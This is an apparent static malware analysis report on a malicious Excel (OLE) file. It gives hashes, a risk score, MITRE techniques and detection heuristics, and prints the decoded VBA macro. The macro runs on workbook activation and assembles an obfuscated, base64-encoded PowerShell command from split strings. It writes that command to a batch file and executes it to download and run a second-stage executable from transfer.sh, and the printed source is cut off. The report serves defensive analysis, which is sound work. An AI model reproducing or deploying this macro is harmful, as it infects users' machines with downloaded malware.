Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 94edfcbc1db3f1e9…

MALICIOUS

Office (OLE)

10.5 KB First seen: 2021-10-23
MD5: 8a45c6ef1be797dfb21e6dbc9b51b98f SHA-1: 6c09fd6f5e723d0252c89b8f3193841a9d768048 SHA-256: 94edfcbc1db3f1e969e1f7729cc5786a82eb8d4ebb440b4b66359119c10814d7
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic

The VBA macro contains obfuscated PowerShell code that is reassembled from split string literals. This PowerShell command is designed to download and execute a second-stage payload from the URL 'http://transfer.sh/get/i16FQB/word.exe'. The use of Shell() and the reassembled 'PowerShell' keyword indicate a malicious intent to execute arbitrary code.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5917 bytes
SHA-256: 21c29af6003124d873c6b0983a98f139ffba499c72f1cdea24574c7c1560941d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"
s = s + " -win 1 -enc"
s = s + " "

s = s + "JABQAHIAbwBjAE4"
s = s + "AYQBtAGUAIAA9AC"
s = s + "AAIgBLAGcAdwB1A"
s = s + "GcAcgBmAG0AYQB1"
s = s + "AGsAYgBjAGIAawB"
s = s + "nAHUAbQB1AC4AZQ"
s = s + "B4AGUAIgA7ACgAT"
s = s + "gBlAHcALQBPAGIA"
s = s + "agBlAGMAdAAgAFM"
s = s + "AeQBzAHQAZQBtAC"
s = s + "4ATgBlAHQALgBXA"
s = s + "GUAYgBDAGwAaQBl"
s = s + "AG4AdAApAC4ARAB"
s = s + "vAHcAbgBsAG8AYQ"
s = s + "BkAEYAaQBsAGUAK"
s = s + "AAiAGgAdAB0AHAA"
s = s + "OgAvAC8AdAByAGE"
s = s + "AbgBzAGYAZQByAC"
s = s + "4AcwBoAC8AZwBlA"
s = s + "HQALwBpAGkANgBG"
s = s + "AHEAYgAvAHcAbwB"
s = s + "yAGQALgBlAHgAZQ"
s = s + "AiACwAIgAkAGUAb"
s = s + "gB2ADoAQQBQAFAA"
s = s + "RABBAFQAQQBcACQ"
s = s + "AUAByAG8AYwBOAG"
s = s + "EAbQBlACIAKQA7A"
s = s + "FMAdABhAHIAdAAt"
s = s + "AFAAcgBvAGMAZQB"
s = s + "zAHMAIAAoACIAJA"
s = s + "BlAG4AdgA6AEEAU"
s = s + "ABQAEQAQQBUAEEA"
s = s + "XAAkAFAAcgBvAGM"
s = s + "ATgBhAG0AZQAiAC"
s = s + "kA"


ActiveWorkbook.Save
batch = "Wzjokpltbfr.bat"
Open batch For Output As #1
    Print #1, s 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_N
... (truncated)